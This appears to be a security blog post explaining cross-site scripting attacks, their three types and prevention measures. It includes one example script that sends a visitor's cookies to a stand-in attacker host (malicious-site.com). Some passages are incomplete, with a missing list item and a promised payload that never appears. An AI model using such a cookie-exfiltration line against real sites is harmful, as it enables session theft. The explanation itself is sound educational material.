A Cross Site Scripting Attack Is One of the Common Website Attacks That’s Mentioned in OWASP Top 10 Security Threats
Nevertheless, if you’re wondering what a cross site scripting attack is and how to prevent it – here we are going to discuss cross site scripting attacks.
What is a Cross Site Scripting Attack?
Cross-site scripting is a type of injection attack that dates back to the early days of the World Wide Web (WWW) and a time when eCommerce just began to gain popularity in the bubble days of Yahoo and Netscape. A cross site scripting (XSS) attack is a security vulnerability that’s usually found in web applications. It’s one of the common vulnerabilities that allows hackers to inject code into the output application of a web page that’s further sent to the site visitor’s web browser. The injected code automatically executes malicious functions, such as stealing sensitive information through the visitor’s input.
XSS attacks are considered less dangerous compared to SQL injection vulnerabilities. However, cross site scripting in java script becomes quite hazardous.
Negative Impact of Cross Site Scripting Attacks
Once a cross-site scripting attack occurs, the web page is compromised, and a collection of different issues occur. Some possible concerns are:
- The user’s critical data is exposed.
- Website content presentation gets damaged.
- Malicious Trojan Horse programs get uploaded.
- Webpages get redirected to malicious sites.
- Attackers seize accounts and impersonate themselves as an authenticated user.
- If targeted to an organization and not detected and prevented within the proper time frame, you can have losses and lose clients.
- Further, making a negative impact on your professional relations and reputation if any malware successfully gets injected into your company’s website.
How a Cross Site Scripting Attack Works?
Before we get into details about how a cross site scripting attack works, let first describe the actors involved in executing an XSS attack. Usually, a cross site scripting attack involves three actors – Victim, Website, and Hacker/Attacker.
- Victim: The victim is a normal internet user who lands on the website and requests pages from it through their web browser.
- Website: Here, the website serves HTML pages requested by the user, for which the website asks information from the user through the form that is further stored in a database.
- Attacker: An attacker is a malicious hacker who intends to launch an attack on the victim by exploiting a cross site scripting vulnerability in the targeted website. Further, the attacker also has a web server controlled by them to steal and store the victim’s critical information.
Usually, there are two different stages of a typical XSS attack.
- Another is that the victim would visit that malicious web page that contains XSS code. To make victims visit that malicious web page, attackers can use different social engineering techniques or phishing, so users get directed to that malicious URL.
Below is the snippet code of server-side that displays the recent comment:
print "<h1>Recent Comment</h1>"
For instance, attacker adds malicious code within comment:
An Illustration of a Cross-Site Scripting Attack That Steals Cookies
Attackers often use a cross-site scripting attack to steal cookies so that they can portray themselves as a victim. Attackers can send cookies to the server in different ways, and one of them is to execute a client-side script in the victim’s browser, which could look like:
window.location="https://malicious-site.com/?cookie=" + document.cookie
- The targeted user requests that infected web page from the webserver.
- The victim’s browser gets loaded with an infected webpage that includes a malicious script inserted in the HTML body.
- Once that infected webpages load on the visitor’s browser, the malicious script gets activated and does as instructed by that malicious script. Here, it sends the targeted user’s cookie to an attacker’s server.
- Now, an attacker can only extract the victim’s cookie when the request arrives on his server.
- Once the attacker extracts that stolen cookie information, they’ll be able to use it to impersonate themselves.
Types of Cross Site Scripting Vulnerabilities
- Persistent Cross Site Scripting – Here, the malicious string comes through the infected website’s database. It’s also called a second-order or stored cross site scripting attack.
- Reflected Cross Site Scripting – Here, the malicious string comes through the request made by the victim.
- DOM-based Cross Site Scripting – Here, the vulnerability is found within the client-side code instead of server-side codes.
The previous example of cookie stealing illustrates persistent cross site scripting. So, we will not discuss it again and instead move forward with the other two.
Reflected Cross Site Scripting
In a reflected cross site scripting attack, the malicious string is attached with the victim’s request to the website. Here, the website includes a malicious string as a response to send back to the user. Below is the diagram illustrating the reflected cross site scripting attack.
- An attacker creates a URL that consists of a malicious string and sends it further to the victim.
- The victim gets deceived by that URL that is requested through the website.
- The website consists of a malicious string through the URL in response.
- Once that URL is added, the browser executes that inserted malicious string and sends the victim’s cookies to the attacker’s server.
Here’s How Reflected Cross Site Scripting Takes Place Successfully
At first, reflected cross-site scripting might look harmless and overlooked as the victim himself has to send a request containing a malicious string, and it’s also true that no one would attack themselves. But, there are two ways by which the victim gets duped into launching a reflected cross site scripting vulnerability against themselves.
- Suppose there’s a specific victim to be targeted, such as an employee of an organization. In that case, an attacker can send a malicious URL through a bogus email or instant messaging and trick them into visiting it.
- If the user targets a big group of people, an attacker can put a malicious URL on his website, social network, and forums and wait for victims to click on it.
DOM – Based Cross Site Scripting
- In a DOM-based cross site scripting attack, an attacker creates and sends a URL to the victim that consists of a malicious string.
- The targeted victim gets duped by an attacker, where the user clicks on that received link that requests a URL through the website.
- Once the website gets a URL request through the user, the website sends a clean URL that doesn’t have any malicious string.
- The victim’s browser executes that legit script within the response, which causes the malicious script to be inserted within the page.
- The victim’s browser executes that malicious script inserted into the page, which executes the attack. Here, it sends the victim’s cookies to the hacker’s server.
Here’s How a DOM – Based Cross Site Scripting Attack Differs from the Other Two Variants
In persistent cross-site scripting and reflected site scripting attacks, the server inserts a malicious script into the webpage, which is later provided through a response to the targeted victim. Once the victim receives the response, including the malicious script, it’s counted as a legit part. And, without verification, it executes during page loading, similar to any other included scripts.
On the other hand, in a DOM-based cross-site scripting attack, a malicious script is not inserted within the webpage, and the script that automatically loads on the victim’s browser is the legit one. The issue arises when a legit script directly uses user input for adding HTML to the page because the malicious string is inserted into that page through innerHTML, parsed as HTML, which executes malicious script.
Put simply, the difference between the two is subtle, but it’s a major one nonetheless, and they’re:
Why DOM – Based Cross Site Scripting Is More Threatening Compared to Other Two
It means there’s the threat of a cross site scripting vulnerability even if your server is secure and free from vulnerabilities because there’s no surety that the client-side is safe. It can lead to a DOM-based XSS attack without any fault of your server-side codes.
Cross Site Scripting Prevention Techniques
Cross-site scripting is quite old, but cross site scripting vulnerabilities are still common on the web. Furthermore, they’re still one of the discussed topics by the OWASP (Open Web Application Security Project) on their top 10 security risk list.
There’s no single strategy or technique to lessen cross-site scripting attacks, and different web applications need different types of protection. For instance, some common cross site scripting prevention techniques are:
Avoiding HTML Tags in Inputs
Avoiding HTML tags within the form input can effectively avoid cross-site scripting attacks, especially persistent cross site scripting. Furthermore, for creating rich content without using HTML, you can make use of WYSIWYG HTML editors.
Implementing validation helps at a certain level because it allows only the inputs that you want. For instance, not allowing numbers in fields of first name or last name. You can also use it to reject characters or tags commonly used for cross-site scripting attacks like "<script>" tags.
Data sanitization is similar to input validation in that it can prove helpful in preventing cross site scripting attacks. Once the data gets to the web server, data sanitization is done before displaying it to other users. Many online tools help sanitize HTML code to filter any malicious code injections, including scripts of cross site vulnerabilities.
Applying WAF Rules
A Web Application Firewall (WAF) rule can minimize cross-site scripting attacks – especially reflected cross-site scripting attacks. It enforces rules and strategies that block unknown and strange requests to the server that protect you from XSS attacks and many others, such as SQL injection or DDoS attacks.
Applying CSP (Content Security Policy)
CSP (Content Security Policy) is a mechanism that’s like an added layer of security aimed to detect and lessen certain types of online attacks that includes data injection attacks and Cross Site Scripting attacks. It helps with reducing or eliminating vectors due to which XSS takes place.
There’s the possibility of an XSS attack being introduced through your developer or by external modules, libraries, or software. It’s suggested that you regularly scan your web applications using a website vulnerability scanner, such as HackerGuardian, provided by respected CA (like Sectigo) that can perform more than 30K types of tests to ensure your site is protected against such attacks.
The cross site scripting attacks are quite common these days, mainly due to their simple technique, and results also appear quite easily as well. However, with a little thoughtful design and testing of your website or web application, your website or web application can avoid being vulnerable to such cross-site scripting attacks.
Now that you’ve got an understanding about cross site scripting vulnerabilities. You should also be aware that these XSS attacks can occur in different forms, and the ways to prevent them can be even more complex based upon your website or web application.
However, you should have no problem going through the prevention steps discussed here to protect your applications as much as possible. Lastly, by going through this cross-site scripting blog, you’ll get an idea about the three types of cross site scripting, how it works, and cross-site scripting prevention techniques. Good luck!